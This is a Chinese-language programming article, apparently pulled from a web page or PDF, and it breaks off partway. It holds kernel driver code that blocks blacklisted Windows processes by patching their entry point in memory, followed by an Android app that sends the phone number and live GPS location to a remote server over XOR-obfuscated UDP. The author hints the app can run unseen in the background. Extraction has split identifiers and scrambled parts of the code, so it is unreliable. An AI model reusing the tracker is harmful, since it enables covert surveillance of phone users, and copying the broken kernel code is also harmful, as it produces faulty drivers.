也會提示”訪問被拒絕”等信息,除了父進程是 Winlogon.exe 里進行強制結束進程不會出 現這種錯誤提示框,估計是采取別的隱藏手段來通知 Winlogon.exe 創建進程失敗吧,這里 沒有細跟。因此只能采取別的方法來結束進程,這里使用修改入 PE 文件入口地址的指令, 讓其自己結束,這樣就不會出現提示框,在內核中修改應用層的地址空間的內容要使用 ZwProtectVirtualMemory 函數,這個函數是個未導出的函數,所以要查找一下,該函數起 始地址在 ZwPulseEvent 的地址空間的上方不遠處,原理是因為如下圖 2: 所以從 ZwPluseEvent 的起始地址往上面空間找,通過判定 Mov eax,0x89 的指令特征來定 位;還要注意 PE 文件入口是如何定位的。 下面直接給出核心源代碼:#p#分頁標題#e# BOOLEAN IsNotProtect(IN PCHAR StartProcessPath) { PCHAR LowProcessFullPath; KIRQL oldirql; PPROCESS_RULE pRule=NULL; BOOLEAN result; result = FALSE; pRule = g_policyRule; if (!pRule) return result; LowProcessFullPath = _strlwr(StartProcessPath); oldirql=KfAcquireSpinLock(&MySpinLock); while (pRule) { if (strstr(LowProcessFullPath,&pRule->ProcessName[0])) { if (pRule->IsNotProtected == 0x30)   result =TRUE; if (pRule->IsNotProtected == 0x31) result =FALSE; break; } pRule =pRule->Next; } KfReleaseSpinLock(&MySpinLock,oldirql); return result; } //修改 PE 的 OEP 入口地址來攔截進程 NTSTATUS PatchProcessEntry(IN HANDLE PId) { NTSTATUS  status; PEPROCESS  EProcess; PULONG  Peb; HANDLE ProcessHandle; PROCESS_BASIC_INFORMATION ProcessInformation; PULONG ImageBaseAddress; ULONG e_lfanew; PULONG PeHeader; ULONG AddressOfEntryPointer_RVA; PULONG OEP_VA; ULONG IsNotAttached; ULONG MemSize; ULONG OldProtect; PULONG tempaddress; status = STATUS_UNSUCCESSFUL; IsNotAttached=0; status = PsLookupProcessByProcessId((ULONG)PId, &EProcess); if (!NT_SUCCESS( status )) { DbgPrint("PsLookupProcessByProcessId  Failed!\n"); return status ; } status = ObOpenObjectByPointer((PVOID)EProcess,OBJ_KERNEL_HANDLE,NULL,PROCESS_ALL_AC CESS,NULL,KernelMode,&ProcessHandle); if (!NT_SUCCESS( status )) { DbgPrint("ObOpenObjectByPointer  Failed!\n"); return status ; }   = ZwQueryInformationProcess(ProcessHandle,ProcessBasicInformation,&ProcessInf ormation,sizeof(PROCESS_BASIC_INFORMATION),NULL); if (!NT_SUCCESS( status )) { DbgPrint("ZwQueryInformationProcess Failed!\n"); return status ; } if (ProcessInformation.PebBaseAddress) { Peb = ProcessInformation.PebBaseAddress; KeAttachProcess(EProcess); IsNotAttached =1; //中間是定位到用戶進程的 OEP,修改入口地址{mov  eax,0 ;return} ProbeForRead(Peb,0x10,1); ImageBaseAddress = *(PULONG)((PBYTE)Peb+0x08); ProbeForRead(ImageBaseAddress,0x60,1); //到 PEheader 的 RVA e_lfanew = *(PULONG)((PBYTE)ImageBaseAddress + 0x3C); //定位到 PEHeader 的 VA PeHeader = (ULONG*)((PBYTE)ImageBaseAddress + e_lfanew); ProbeForRead(PeHeader,0x40,1); //定位到 OEP 的 RVA AddressOfEntryPointer_RVA = *(PULONG)((PBYTE)PeHeader +0x28); //定位到 OEP 的 VA OEP_VA = (ULONG*)((PBYTE)ImageBaseAddress + AddressOfEntryPointer_RVA); ProbeForRead(OEP_VA,0x20,1); //修改內存屬性 MemSize =0x20; tempaddress = OEP_VA; status = g_ZwProtectVirtualMemory(0xFFFFFFFF,&tempaddress,&MemSize,PAGE_READWRITE,&O ldProtect); if (NT_SUCCESS(status)) { memcpy((PCHAR)OEP_VA,(PCHAR)&pacthcode[0],5); g_ZwProtectVirtualMemory(0xFFFFFFFF,&tempaddress,&MemSize,OldProtect,NU LL); status =STATUS_SUCCESS; } } if (IsNotAttached==1) KeDetachProcess(); if (ProcessHandle) ZwClose(ProcessHandle); if (EProcess) ObfDereferenceObject(EProcess);   return status; } //進程監控回調函數 VOID ProcessCreateMon(IN HANDLE hParentId,IN HANDLE PId,IN BOOLEAN bCreate) { ULONG  ulCurrentProcessId; NTSTATUS  status; HANDLE hProcess=NULL; ANSI_STRING pImageName; PCHAR outbuf; ULONG outlen; PEPROCESS  EProcess=NULL; HANDLE handle=0; if ( bCreate ) { if ( PId != 4 && PId != 8) { RtlInitAnsiString(&pImageName,"test"); GetProcPath(PId,&pImageName); outbuf=(PCHAR)pImageName.Buffer; outlen=pImageName.Length+1; PsLookupProcessByProcessId((ULONG)PId, &EProcess); DbgPrint("CREATE PROCESS = PROCESS Path: %s , PROCESS PARENTID: %d, PROCESS ID: %d, PROCESS ADDRESS %x:\n", outbuf, hParentId, PId, EProcess); if ( IsNotProtect(outbuf) ) { if (NT_SUCCESS(PatchProcessEntry(PId))) { DbgPrint( "PATCH Process == PROCESS ID: %d OK\n", PId); } else { Status = ObOpenObjectByPointer((PVOID)EProcess,OBJ_KERNEL_HANDLE,NULL,PROCESS_ALL_AC CESS,NULL,KernelMode,&handle); if (NT_SUCCESS(status)) status = ZwTerminateProcess(handle,STATUS_SUCCESS); if (NT_SUCCESS(status)) DbgPrint( "ARREST == PROCESS ID: %d OK\n", PId); } } } } else  #p#分頁標題#e# { DbgPrint( "TERMINATED == PROCESS ID: %d\n", PId); } if (handle) ZwClose(handle); if (EProcess) ObfDereferenceObject((PVOID)EProcess); } //獲得進程的 NT 路徑 BOOLEAN GetProcPath(IN HANDLE PID,OUT PANSI_STRING pImageName) { NTSTATUS status; HANDLE hProcess=NULL; CLIENT_ID clientid; OBJECT_ATTRIBUTES ObjectAttributes; ULONG returnedLength; ULONG bufferLength; PVOID buffer; PUNICODE_STRING uniNtProcename={0}; UNICODE_STRING uniDosProcename; WCHAR   DosProcessNameW[MAX_PATH*2]={0}; BOOL result; //初始化字符串 try { if(!MmIsAddressValid(pImageName)) { return FALSE; } pImageName->Length = 0 ; pImageName->MaximumLength = 0 ; pImageName->Buffer = NULL ; } except (EXCEPTION_EXECUTE_HANDLER) { return FALSE ; } InitializeObjectAttributes(&ObjectAttributes,0,OBJ_CASE_INSENSITIVE|OBJ_KER NEL_HANDLE,0,0); clientid.UniqueProcess=PID; clientid.UniqueThread=0; //通過 PID 獲得進程句柄 ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&ObjectAttributes,&clientid); //獲得大小 status = ZwQueryInformationProcess(hProcess, ProcessImageFileName, NULL, // buffer     0, // buffer size   &returnedLength);   if (status!=STATUS_INFO_LENGTH_MISMATCH) { return FALSE; } bufferLength = returnedLength - sizeof(UNICODE_STRING); buffer=ExAllocatePoolWithTag(PagedPool,returnedLength,'ipgD'); if (buffer==NULL) { return FALSE; } status=ZwQueryInformationProcess(hProcess,ProcessImageFileName,buffer,retur nedLength,&returnedLength); if (NT_SUCCESS(status)) { uniNtProcename=(PUNICODE_STRING)buffer; uniDosProcename.Buffer = DosProcessNameW; result = QueryProcessDosPathW(uniNtProcename->Buffer,&uniDosProcename); if (result) { //得到 Dos 全路徑 if (RtlUnicodeStringToAnsiString(pImageName,&uniDosProcename,TRUE)!=STATUS_SUC CESS ) { return FALSE ; KdPrint(("Current ProcessImageFileName: Unknow\r\n")) ; } else { return TRUE ; KdPrint  (("Current  ProcessImageFileName:  \"%s\"\r\n", pImageName->Buffer)) ; }   } else {       //得到 NT 式全路徑   RtlUnicodeStringToAnsiString (pImageName,uniNtProcename,TRUE); } } ExFreePool(buffer);   } HANDLE MyOpenFile(IN PCWSTR  ProcessPathw) { HANDLE FileHandle; OBJECT_ATTRIBUTES oa; IO_STATUS_BLOCK  iosb={0}; UNICODE_STRING uniProcessPath={0}; NTSTATUS status; int result; result = 0; if (ProcessPathw) { RtlInitUnicodeString(&uniProcessPath,ProcessPathw); InitializeObjectAttributes(&oa,&uniProcessPath,OBJ_KERNEL_HANDLE|OBJ_CASE_I NSENSITIVE,NULL,NULL); status = IoCreateFile(&FileHandle, GENERIC_READ, &oa, &iosb, 0,   FILE_ATTRIBUTE_NORMAL,   FILE_SHARE_READ, FILE_OPEN,   FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT, NULL,   0,   if (NT_SUCCESS(status)) result = FileHandle; }   CreateFileTypeNone, NULL, IO_NO_PARAMETER_CHECKING);   return result; } //將 NT 路徑轉換為 Dos 路徑 BOOL  QueryProcessDosPathW(IN  PWSTR  ProcessPathw,OUT  PUNICODE_STRING ProcessDosPathw) { HANDLE hFile; NTSTATUS status; PFILE_OBJECT fileobj; POBJECT_NAME_INFORMATION ObjectNameInformation; int result;   result = 0; hFile = MyOpenFile(ProcessPathw); if (hFile) { status = ObReferenceObjectByHandle(hFile,0,*IoFileObjectType,KernelMode,&fileobj,NUL L); if (NT_SUCCESS(status)) { status = IoQueryFileDosDeviceName(fileobj,&ObjectNameInformation); if (NT_SUCCESS(status)) { ProcessDosPathw->Length = ObjectNameInformation->Name.Length; ProcessDosPathw->MaximumLength = ObjectNameInformation->Name.MaximumLength; memcpy(ProcessDosPathw->Buffer,ObjectNameInformation->Name.Buffer,ProcessDo sPathw->Length); result = 1; } } } if ( fileobj ) ObfDereferenceObject(fileobj);#p#分頁標題#e# if ( hFile ) ZwClose(hFile); if ( ObjectNameInformation ) ExFreePoolWithTag(ObjectNameInformation, 0); return result; } //加載黑白名單 BOOLEAN LoadRule(IN LPWSTR RuleFilePathw) { HANDLE hFile; NTSTATUS status; IO_STATUS_BLOCK iosb={0}; CHAR RuleContent[0x200]={0}; //如果空間設置過大(比如:0x1000=4K),會導致局 部堆棧溢出,提示 unresolved external symbol  chkstk referenced in function ULONG BytesLen; PCHAR Temppos,FilePos,SignPos; ULONG slen; BOOLEAN result; PPROCESS_RULE ProcessRule=NULL; PCHAR TempRule; result = FALSE; hFile = MyOpenFile(RuleFilePathw); if (hFile) { //簡單一些,大小被固定,后面可以修正   status = ZwReadFile(hFile,NULL,NULL,NULL,&iosb,&RuleContent,0x200,NULL,NULL); if (NT_SUCCESS(status)) { BytesLen =(ULONG)iosb.Information; Temppos =  RuleContent; if (BytesLen>0) { ProcessRule = ExAllocatePoolWithTag(NonPagedPool,sizeof(PROCESS_RULE),0); if (!ProcessRule) return FALSE; memset(ProcessRule,0,sizeof(PROCESS_RULE)); } g_policyRule = ProcessRule; while (TRUE) { FilePos = strchr(Temppos,0x3D); SignPos = strchr(Temppos,0x3B); slen = SignPos-FilePos; RtlCopyMemory(&ProcessRule->ProcessName[0],(PCHAR)(FilePos+1),slen-1); ProcessRule->IsNotProtected =*(CHAR*)(SignPos+1); Temppos = SignPos+2; if (*(CHAR*)Temppos==NULL) break; if ( (!ProcessRule->Next)) { TempRule = ExAllocatePoolWithTag(NonPagedPool,sizeof(PROCESS_RULE),0); if (!TempRule) return FALSE; memset(TempRule,0,sizeof(PROCESS_RULE)); ProcessRule->Next = TempRule; ProcessRule = ProcessRule->Next; } } result = TRUE; } } if (hFile) ZwClose(hFile); return result; } //找到 ZwProtectVirtualMemory 的地址 ULONG Find_ZwProtectVirtualMemory_Address(ULONG ZwPulseEvent_Address) { BYTE StartInstruction[4]={0}; ULONG  result; int i;   ULONG  FindAddress,EndAddress; result=0; // 這里 ZwProtectVirtualMemory 的起始指 令 :mov EAX, 89 ,前面四 個字節為 0x0000b889 StartInstruction[0] = *(CHAR *)ZwPulseEvent_Address; StartInstruction[1] = ((*(CHAR *)((PCHAR)ZwPulseEvent_Address +1))-1); StartInstruction[2] = (*(CHAR *)((PCHAR)ZwPulseEvent_Address +2)); StartInstruction[3] = (*(CHAR *)((PCHAR)ZwPulseEvent_Address +3)); FindAddress = ZwPulseEvent_Address - 0x800; EndAddress = ZwPulseEvent_Address; for(i=FindAddress;i<=EndAddress;i++) { if (StartInstruction[0] == *( BYTE *)i && StartInstruction[1] == *( BYTE *)((PCHAR)i+1) && StartInstruction[2] == *( BYTE *)((PCHAR)i+2) && StartInstruction[3] == *( BYTE *)((PCHAR)i+3) ) { result = i; DbgPrint("funcaddress=0x%X\n",i); break; } } return result; } 這里給的 ProcessRule.dat 文件必須放在 C 盤根目錄下,其文件格式如下: [PROCESS NAME] =winword.exe;0 =notepad.exe;0 =qq.exe;0 =calc.exe;1 這里采取進程文件名字判定來分辨是否為黑白名單上的進程,其中文件名請全部小寫,0 代表禁止,1 代表運行,這里面只分配 0x400 的空間,注意局部函數的變量不要太大,否則 造成堆棧溢出。 測試環境:WINXP SP3+WDK7600 文章到這里就結束,此時結束進程不會再有任何錯誤提示框出現,當然我給出的也只是 其中一部分代碼,比如修改策略文件,應用層與內核通信,通過文件 MD5 值校驗的黑白名 單等,這些我沒有給出也不能給出,因為具體到項目還要根據客戶的需求;但是我已經給 出最核心的代碼和原理,你可以自己修改完善,在網上我找了一下這方面的工具,做的都 不太完善,雖然有的也使用 md5 校驗來判定,但是由于掛鉤函數的問題,最后仍然會提示 錯誤的消息框,本文給出的方案應該是比較正確的,是主流安全工具采取的方式,寫驅動 防火墻也是相同原理,也可以 Patch 入口地址,驅動防火墻更加簡單些,直接修改內核地 址,其實還可以修改 pe 文件的導入表地址來加載 dll,這是后話那,這里要感謝 xikug 大 牛的指導,由于趕寫畢業論文在即,所以倉促之間難免錯誤,請讀者不吝批評指教。 http://www.ionrce.tw/uploads/allimg/120325/1-120325150352508-lp.jpg 進程防火墻 驅動開發 進程監控 各類編程 admin 未知 2012-03-25 15:05 Android系統程序開發之gps導航Whereyouare http://www.ionrce.tw/biancheng/20120325807.html Android 系統手機的發展是大勢所趨,相應的軟件開發、安全等問題也成為了廣大軟件 開發者的話題,目前出產的大多數 Android 系統的手機都自帶了 GPS 定位模塊,相應的 GPS 軟件如高德、 Android 系統手機的發展是大勢所趨,相應的軟件開發、安全等問題也成為了廣大軟件 開發者的話題,目前出產的大多數 Android 系統的手機都自帶了 GPS 定位模塊,相應的 GPS 軟件如高德、凱立德導航軟件也成為了很多手機發燒友必備的裝機軟件了,開發導航軟件這 樣的東西自然不會是個體或小團隊所能夠完成的,但這不代表我們不能對此加以應用,俗話 說,劍走偏鋒嘛,今天,給大家展示一下 Android 系統下 GPS 定位在實際中可能存在的價 值及應用。 軟件功能及開發思路 我們今天實現的軟件名叫 whereyouare,顧名思義,它是用來探測用戶位置的一種應用, whereyouare 在運行時會連接我們的服務端,并發送自己所在位置經緯度及手機號碼。我們 在服務端通過經緯度信息來獲取用戶所在位置的地圖信息并將它實時的顯示出來,由于手機 端往服務端發送數據不需要時刻保持連接,所以,在這里我們選擇通過 Socket 的 UDP 進行 連接,這樣一方面可以節約手機流量,另一方面更加節約內存,從而更省電。服務端方面, 本來也可以用 Android 程序來實現,不過由于手機上顯示的畫面較小,而且需要消耗流量來 監控等問題不太適合,當然,如果想使用手機端來監控也是很容易的,在這里我們采用 PC 機來做接收端,整體的思路如圖 1 所示: 代碼實現 由于 Socket 的平臺通用性,我們只需要設計一套完整的通信協議,就可以在不同系統、 不同平臺下通信,為了使開發變成更順手,PC 端我使用 VC6 來開發。但是需要注意的是 Android 程序開發是基于 JAVA 的 App Framework 的代碼,在與 C++通信中使用的字節序不 同,為了解決這個問題,我們傳輸數據過程中采用 UTF-8 編碼,這樣一方面由于編碼的通 用性,一方面也有效的解決的字節序的問題,在這點上,大家需要注意。 首先,我們來看手機端的代碼,由于代碼需要用使到 Socket 訪問網絡以及使用 GPS 定 位,因為我們首先需要在 AndroidManifest.xml 文件中加入以下權限: <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <user-permission android:name="android.permission.ACCESS COARSE LOCATION" /> 另外,我們的手機端在發送數據時候也會連帶發送手機號碼,獲取手機號碼信息還需要 加入如下權限: <uses-permission android:name="android.permission.READ_PHONE_STATE" /> 接下來是 GPS 檢測代碼,因為很多人在使用手機的時候默認是將 GPS 關閉的,這樣, 就無法獲取地理位置信息了,我們的程序應該要檢測這種狀況并提示用戶開啟 GPS,代碼 如下: private void openGPSSettings() { LocationManager lm = (LocationManager)this.getSystemService(Context.LOCATION_SERVICE); if (lm.isProviderEnabled(android.location.LocationManager.GPS_PROVIDER)) { System.out.println("GPS 模塊正常..."); return; } System.out.println("GPS 模塊沒有啟動..."); Intent intent = new Intent(Settings.ACTION_SECURITY_SETTINGS); startActivityForResult(intent,0); //此為設置完成后返回到獲取界面 } LocationManager 類是 Android 系統提供給我們的一個接口,通過它我們可以訪問系統 提供的定位服務, 而通過 getSystemService 這個函數我們可以獲取系統所提供的所有服務,如鬧鐘服務 AlarmManager、電話服務 TeleponyManager、Wi-Fi 服務 WifiManager 等,但是要注意: getSystemService 這個方法基于 context,它是 Activity 控件的一個方法,因此只有在具 體可視窗體的程序中這個方法才能使用!這是我演示程序用到 Activity 的原因,我想這可 能是 Android 系統出于安全考慮才讓使用 GPS 的程序必須生成在 Activity 中,不過我們還 是有方法讓我們的 Android 程序運行在后臺中,不過這不是我們這篇討論的內容了,在獲得 LocationManager 后我們調用它的 isProviderEnabled 方法判斷 GPS 模塊是否已經啟動,如 果沒啟動,我們就提示用戶啟動。   如果 GPS 模塊啟動正常,下面我們就來使用它的定位服務了,代碼如下: private void SetGPSListener(){ try{ locationManager  =  (LocationManager) this.getSystemService(Context.LOCATION_SERVICE); System.out.println("獲取 location"); locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 5 * 1000, 10, locationListener);// 設置監聽器 } catch(Exception e){#p#分頁標題#e# e.printStackTrace(); } } 核心的功能也就是 locationManager 的 requestLocationUpdates 方法,這個方法用來 更新手機端的位置信息,它格式如下, public void requestLocationUpdates (String provider, long minTime, float minDistance, LocationListener listener) 第一個參數 provider 我們傳入 GPS_PROVIDER 表明我們用來更新 GPS 信息,第二 個參數 minTime 表明多久更新一次,以毫秒為單位,在這里我們傳入 5 * 1000 設置為 5 秒,第三個參數 minDistance 表示多遠距離后更新信息,以米為單位,最后一個參數 locationListener 用來設置一個監聽器,當需要更新信息時會觸發它,我們的程序可以通 過它在地理位置發生改變需要更新時來發送信息到服務端以便實時的更新,這也是本程序的 關鍵代碼之所在。在這個監聽器中,有四個方法分別表示監聽位置時可能發生的狀況,我們 在代碼需要實現 它, 它們分別是 onLocationChanged 表示 位置 發生了改變 , onProviderDisabled 表示 GPS 被禁用了,onProviderEnabled 表示 GPS 被啟用, onStatusChanged 表示狀態發生改變。在我們的程序中,只對 onLocationChanged 進 行了處理,代碼如下: private final LocationListener locationListener = new LocationListener(){ public void onLocationChanged(Location location) { // TODO Auto-generated method stub String s = updateLocation(location); s = phonenumber + '|' + s;//發送手機號碼和經緯度 System.out.println(s); SendInfo(s); } public void onProviderDisabled(String provider) { // TODO Auto-generated method stub } public void onProviderEnabled(String provider) { // TODO Auto-generated method stub } public void onStatusChanged(String provider, int status, Bundle extras) { // TODO Auto-generated method stub } }; 可以看到我們先 updateLocation,然后再 SendInfo,onLocationChanged 被調用 的時候,傳進來一個 location 參數,我們通過調用它的 getLongitude()與 getLatitude() 來分別獲取當前所在的經度與緯度,代碼如下: private String updateLocation(Location location) { if (location != null) { double longitude= location.getLongitude(); double latitude = location.getLatitude(); System.out.println("經度:" + longitude + " 緯度:" + latitude); String s = Double.toString(longitude) + ',' + Double.toString(latitude); return s; } else { System.out.println("無法獲取地理信息"); return null; } } 在這里我們返回一個 String 里面包含了經緯度來供我們的 Socket 來使用,在程序初 使化的時候,我們調用 InitSocket()方法初使化了套接字: private void InitSocket(){ try { ds = new DatagramSocket(LOCALPORT); } catch (SocketException e) { // TODO Auto-generated catch block e.printStackTrace(); } } 初使化部分只是構造了一個 DatagramSocket 類,它是 Android 程序基于 UDP 方式 Socket 的基礎,我們的數據要通過的 DatagramSocket 的 send()方法;來發送出去,它 有一個參數 DatagramPacket 表明我們要發送一個 UDP 的包。我們來看看 SendInfo() 的代碼: private void SendInfo(String s){ byte [] buf = s.getBytes();  //默認的字符集為 UTF-8 int length = buf.length; for(int i=0; i<length; i++){ buf[i] = (byte) (buf[i] ^ 0x90);  //簡單進行加密 } try { dp = new DatagramPacket(buf,length,InetAddress.getByName(REMOTESERVER), REMOTEPORT); } catch (UnknownHostException e) { // TODO Auto-generated catch block e.printStackTrace(); } try { System.out.println("發送地理位置..."); ds.send(dp); } catch (IOException e) { // TODO Auto-generated catch block System.out.println("發送地理位置失敗..."); e.printStackTrace(); } } 在 Android 中,String 的 getBytes()方法默認返回的是 UTF-8 格式的字節數組, 這為我們的代碼與 C++的通信帶來了方便,但請注意:如果大家在開發相關程序時如果發 送的是自定義的數據格式如結構等在發送前就需要做好相關的轉換,因為到 C++端后轉換 比較麻煩的。在 SendInfo()里面我將“手機號碼|經緯度”格式的字符串首先轉換為字 節流,然后簡單的進行了抑或加密,這樣一定程度上保證了數據的安全性。 講完了手機端,我們來看看 PC 端的處理部分,代碼采用 MFC 來編寫一個基于 Dialog#p#分頁標題#e# 的程序,在 OnInitDialog()方法中我們調用 appInit()來對程序進行初使化, void CWhereyouareDlg::appInit() { if (WSAStartup(MAKEWORD(2,1),&m_wsaData)) //調用 Windows Sockets DLL { AfxMessageBox("Winsock 無法初始化!\n"); WSACleanup(); return; } m_local.sin_family=AF_INET; //地址族 m_local.sin_port=htons(4444); ///監聽端口 m_local.sin_addr.s_addr=INADDR_ANY; ///本機 m_socket=socket(AF_INET,SOCK_DGRAM,0); int nRet = bind(m_socket,(struct sockaddr*)&m_local,sizeof(m_local)); if(SOCKET_ERROR == nRet) { closesocket(m_socket); WSACleanup(); AfxMessageBox("綁定端口失敗!"); return; } GdiplusStartup(&m_pGdiToken,&m_gdiplusStartupInput,NULL); m_pDC =m_mappic.GetDC(); m_graphics = Graphics::FromHDC(m_pDC->m_hDC); } 首先是初使化socket,綁定端口,接著是初使化Gdiplus,在我們PC端的程序中,接 到到經緯度后就要對它進行處理,通過一些方式來轉變成圖像顯示出來,最常用的方法當然 是Google MAP API與Baidu MAP API了,這樣轉出的圖片效果多,擴展性也強,適合一 些商用開發,我的演示程序采用了一種更簡便的方法,在Google MAP API和Baidu MAP API中都提供了相應的靜態圖片生成功能,我在測試Google MAP API的時候生成的圖片國 內的經緯度總是無法正常顯示,不明白原因,所以選擇了Baidu,首先看來相關的靜態圖片介紹及 使用方法,Google相關的鏈接為:http://code.google.com/intl/zh-CN/apis/maps/documentation/staticmaps/  ,百度相關的鏈接 為: http://dev.baidu.com/wiki/map/index.php?title=%E9%9D%99%E6%80%81%E5%9B%BEAPI。另外還有Sogou MAP,這里就不介紹了。在百度相關鏈接中我們得知靜態圖片返回的 格式為png,因為我們需要想辦法讓它顯示在我們的控件中,在C++中顯示png圖片的最簡單 方法當然是調用Gdiplus了,只需要通過圖片文件構造個Image 對象,一個HDC構造一個 graphics,然后調用graphics的DrawImage()方法就可以顯示出來,代碼量少,很方便。 我們在獲取按鈕的單擊代碼響應中創建一個數據接收線程來完成信息的接收及圖片的顯示 工作,代碼如下: unsigned CWhereyouareDlg::Work( LPVOID lpParam ) { CWhereyouareDlg* dlg= (CWhereyouareDlg*)lpParam; SOCKET s = dlg->m_socket; sockaddr_in saddrin = dlg->m_from; Graphics* graphics = dlg->m_graphics; ASSERT(s != NULL); while (bShow) { char buffer[512]="\0"; char phonenumber[256]="\0"; char location[256]="\0"; char url[1024]="\0"; int fromlen =sizeof(saddrin); if (recvfrom(s, buffer, sizeof(buffer), 0, (struct sockaddr*)&saddrin,